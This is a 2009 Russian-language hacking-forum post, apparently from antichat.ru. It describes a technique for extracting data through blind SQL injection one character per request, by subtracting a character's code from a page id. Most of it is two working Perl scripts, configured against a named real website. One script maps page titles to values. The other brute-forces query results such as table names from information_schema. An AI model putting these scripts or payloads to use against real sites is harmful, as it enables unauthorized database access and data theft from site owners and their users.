Авторские статьи простой способ ускорения брута в blind injection

Discussion in 'Статьи' started by bons, 25 Jul 2009.

  1. bons

    bons Elder - Старейшина

    Joined:
    20 Dec 2007
    Messages:
    286
    Likes Received:
    121
    Reputations:
    21
    обнаружил похожие способы уже после того как запостил:
    https://forum.antichat.ru/thread117549.html
    https://forum.antichat.ru/thread119047.html

    Описание

    К примеру есть такая инъекция
    Code:
    http://site.com/news.php?id=555 [SQL]
    причем со следующими особенностями:
    - отсутствует вывод (blind);
    - большое количество разных страниц в зависимости от id.

    в таком случае можно легко организовать брут со скоростью 1 символ на запрос
    используя такую схему:
    Code:
    http://site.com/news.php?id=555-ord(substr((SQL),N,1))
    где SQL - запрос, который надо внедрить;
    N - номер символа.
    То есть каждой возвращенной странице будет соответствовать один символ из результата подзапроса.
    555'ая страничка например будет соответсвовать нулевому символу
    490'ая - символу 'A'

    Скрипты

    Выложенные скрипты настроены для уязвимости на сайте www.properpolicing.org.uk.
    Проще всего это было реализовать в виде двух скриптов на Perl. Интерфейс командной строки решил не делать, все настройки вносятся прямо в скрипт.
    Первый скрипт дампит титулы нужных страничек. Переменные, требующие настройки:
    $url - адрес целевых страниц. Параметр, который должен инкрементироваться обозначить как %i (например http://site.com/news.php?id=%i)
    $n_begin, $n_end - с какой по какую страницу дампить. В примере выше для полного диапазона надо дампить с 300 по 555. Если нужны только печатаемые символы то хватит страниц 393 - 523
    Собранные титулы сохраняются в файле titles.pl
    Скрипт get_titles.pl:
    Code:
    #!/usr/bin/perl
    
    use LWP;
    use strict;
    
    my ($url, $proxy, $n_begin, $n_end);
    
    #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    #параметр, который должен инкрементироваться обозначить как %i
    #
    $url 		= 'http://www.properpolicing.org.uk/news-policingnorthwales.php?id=%i';
    $n_begin	= '280';
    $n_end		= '535';
    #$proxy		= 'http://localhost:8118';
    
    $|++;
    open LIST, ">titles.pl";
    print LIST "%keys = (\n";
    for(my $i = $n_begin; $i<=$n_end; $i++)
    {
    	my $curr_url = $url;
    	$curr_url =~ s/\%i/$i/;
    	
    	my $ua = LWP::UserAgent->new();
    	$ua->proxy(http => $proxy) if defined $proxy;
    	
    	my $req = HTTP::Request->new(GET => $curr_url);
    	my $response = $ua->request($req);
    	my $doc = $response->content;
    	
    	#регулярка для выбора ключа
    	$doc =~ /<title>(.*)<\/title>/;
    	my $key = $1;
    	$key =~ s/'/\\'/g;
    	print LIST "$i => '$key',\n";
    	print STDOUT "$i, ";
    }
    print LIST "\n);";
    close LIST;
    Второй скрипт собственно брутит.
    Переменные, требующие настройки:

    $sql - запрос, результат которого надо сбрутить(например "select version()")
    $get_inj, $post_inj - инъекция, ее GET и POST части. Если POST не используется, его надо определить как undef. Пример:
    Code:
    my $get_inj = "http://site.com/news.php?id=%max-ord(substr((%sql),%nsymb,1))"
    my $post_inj = undef;
    те места в запросе, которые скрипту придется изменить в течении брута обозначаются специальными метками:
    %max - сюда скрипт подставит номер странички от которого будет вычитание
    %sql - здесь скрипт вставит подзапрос
    %nsymb - здесь будут порядковые номера символов в строке ответа на запрос
    Кавычки в инъекции надо экранировать.
    $n_end - здесь номер странички от которого будет вычитание(в примере выше это 555)

    Скрипт do_sql.pl:
    Code:
    #!/usr/bin/perl
    use LWP;
    use strict;
    
    #запрос
    my $sql = "select table_name from information_schema.tables where table_schema<>'information_schema' limit+0,1";
    
    #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    #инъекция, GET и POST часть запроса
    #  %max - последний элемент таблицы ключей
    #  %sql - подзапрос
    #  %nsymb - номер символа в строке
    #
    
    my $get_inj = 'http://www.properpolicing.org.uk/news-policingnorthwales.php';
    my $post_inj = 'id=%max\'-ord(substr((%sql),%nsymb,1))--+0';
    my $n_end = 535;
    my $proxy = undef;
    
    
    die "titles not found\n" unless -e 'titles.pl';
    our %keys; do 'titles.pl';
    my %titles_reverse = reverse %keys;
    my $num_symbol = 1;
    $|=1;
    
    my $k;
    my %keys_num;
    foreach $k(values %keys) {
    	$keys_num{$k}++;
    }
    
    while(1)
    {
    	my $curr_get_inj = $get_inj;
    	$curr_get_inj =~ s/\%max/$n_end/;
    	$curr_get_inj =~ s/\%sql/$sql/;
    	$curr_get_inj =~ s/\%nsymb/$num_symbol/;
    	
    	my $ua=LWP::UserAgent->new();
    	$ua->proxy(http => $proxy) if defined $proxy;
    	my $req;
    	
    	if(defined($post_inj)) {
    		my $curr_post_inj = $post_inj;
    		$curr_post_inj =~ s/\%max/$n_end/;
    		$curr_post_inj =~ s/\%sql/$sql/;
    		$curr_post_inj =~ s/\%nsymb/$num_symbol/;
    		$req=HTTP::Request->new(POST => $curr_get_inj);
    		$req->content_type('application/x-www-form-urlencoded'); 
    		#print($curr_post_inj, "\n");
    		$req->content($curr_post_inj);
    	} else {
    		$req=HTTP::Request->new(GET => $curr_get_inj);
    	}
    	my $response=$ua->request($req);
    	my $doc=$response->content;
    	
    	#регулярка для выбора ключа
    	$doc =~ /<title>(.+)<\/title>/;
    	my $key = $1;
    	my $res;
    	if ($keys_num{$key} > 1) {
    		$res = 0x3F;
    	} else {
    		$res = $n_end - $titles_reverse{$key};
    	}
    	print chr($res);
    	last if $res == $n_end;
    	#print $res, ", \n";
    	$num_symbol++;
    	last if $res < 32 || $res > 126;
    }
    print "\n";
    Примечания

    - иногда у двух разных страниц встречаются одинаковые титулы. Символы, которые относятся к таким ситуациям скрипт отмечает как '?'
     
    #1 bons, 25 Jul 2009
    Last edited: 25 Jul 2009
    1 person likes this.